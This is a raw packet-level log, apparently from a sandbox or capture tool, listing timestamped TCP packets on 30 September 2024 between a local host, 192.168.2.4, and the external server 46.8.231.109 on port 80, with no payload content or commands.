Sep 30, 2024 12:22:51.764940023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.764971018 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.764997005 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765007973 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765043020 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765101910 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765113115 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765122890 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765136003 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765144110 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765147924 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765161991 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765208006 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765239000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765250921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765255928 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765261889 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765271902 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765290976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765300989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765304089 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765304089 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765316963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765321970 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765328884 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765338898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765340090 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765348911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765369892 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765398979 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765667915 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765677929 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765687943 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765702963 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765717983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765724897 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765727997 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765744925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765754938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765760899 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765765905 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765775919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765784025 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765803099 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765826941 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765836954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765853882 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765863895 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765887976 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765909910 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765921116 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765934944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765944958 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.765953064 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.765955925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766000032 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.766000032 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.766128063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766139030 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766149044 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766160965 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766170025 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.766189098 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.766213894 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.766254902 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766267061 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766278028 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766288996 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766293049 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.766309023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.766325951 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.766365051 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766375065 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766386032 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.766405106 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.766419888 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.827754021 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827769041 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827780008 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827790976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827800989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827886105 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827898026 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827908993 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827919006 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827929974 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.827939987 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.828037977 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.828049898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.828083038 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.828126907 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.828191042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.828202963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.828234911 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.838382959 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.838423014 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.838464022 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.838474035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.838484049 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.838495016 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.838504076 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.838505983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.838515043 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.838517904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.838530064 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.838531971 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.838547945 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.838576078 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.845524073 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845541954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845552921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845586061 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.845624924 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845635891 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845669031 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.845765114 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845774889 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845787048 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845797062 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845803976 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.845808983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845825911 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.845849037 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.845963955 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845973969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845983982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.845999956 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846004963 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846010923 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846021891 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846025944 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846031904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846041918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846050978 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846054077 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846076965 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846093893 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846132994 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846148968 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846170902 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846183062 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846209049 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846227884 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846239090 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846259117 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846281052 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846287012 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846292019 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846302032 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846321106 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846348047 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846445084 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846455097 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846465111 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846476078 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846478939 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846487045 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846498013 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846504927 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846508026 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846525908 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846549988 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846565962 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846597910 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846604109 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846620083 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846653938 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846690893 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846702099 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846713066 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846724987 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846728086 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.846746922 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.846776009 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855441093 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855472088 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855483055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855500937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855510950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855514050 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855528116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855551958 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855556965 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855562925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855573893 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855588913 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855598927 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855609894 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855618000 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855643034 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855662107 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855674028 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855684996 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855690956 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855705023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855717897 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855747938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855760098 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855768919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855787992 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855813980 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855923891 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855962992 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.855966091 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855978966 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.855998039 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856002092 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856026888 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856045961 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856091022 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856111050 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856121063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856148005 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856170893 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856244087 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856255054 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856265068 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856287003 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856307030 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856307983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856319904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856353998 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856478930 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856489897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856501102 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856519938 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856533051 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856539965 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856545925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856560946 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856565952 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856569052 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.856580019 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.856602907 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.877295971 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.877340078 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.882349014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.882462978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.882472038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.882482052 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.882491112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:52.163800001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:52.163860083 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:52.207089901 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:52.207112074 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:52.211879969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:52.211950064 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:52.212028027 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:52.532847881 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:52.532973051 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:52.557405949 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:52.562293053 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:52.764542103 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:52.767596960 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:53.967945099 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:53.973150969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.169044971 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.169112921 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.441296101 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.446171045 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.618666887 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.618686914 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.618695974 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.618721962 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.618743896 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.618746042 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.618755102 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.618766069 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.618774891 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.618804932 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.620323896 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620341063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620351076 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620389938 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.620392084 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620403051 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620408058 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.620415926 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620434999 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.620439053 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620455027 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.620477915 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620477915 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.620562077 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620573044 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.620603085 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.700630903 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700644016 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700659037 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700675964 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700695992 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700700045 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.700712919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700721979 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.700723886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700733900 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700743914 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700754881 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700766087 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700769901 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.700783968 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.700813055 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.700839996 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700855970 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.700870991 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.700903893 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701353073 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701370955 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701380014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701401949 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701425076 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701437950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701450109 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701477051 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701491117 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701512098 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701581001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701597929 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701607943 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701631069 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701658010 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701688051 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701699018 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701709032 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701735973 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701752901 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701790094 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701806068 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701817036 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701839924 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701864958 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701875925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701898098 CEST	80	52540	46.8.231.109	192.168.2.4
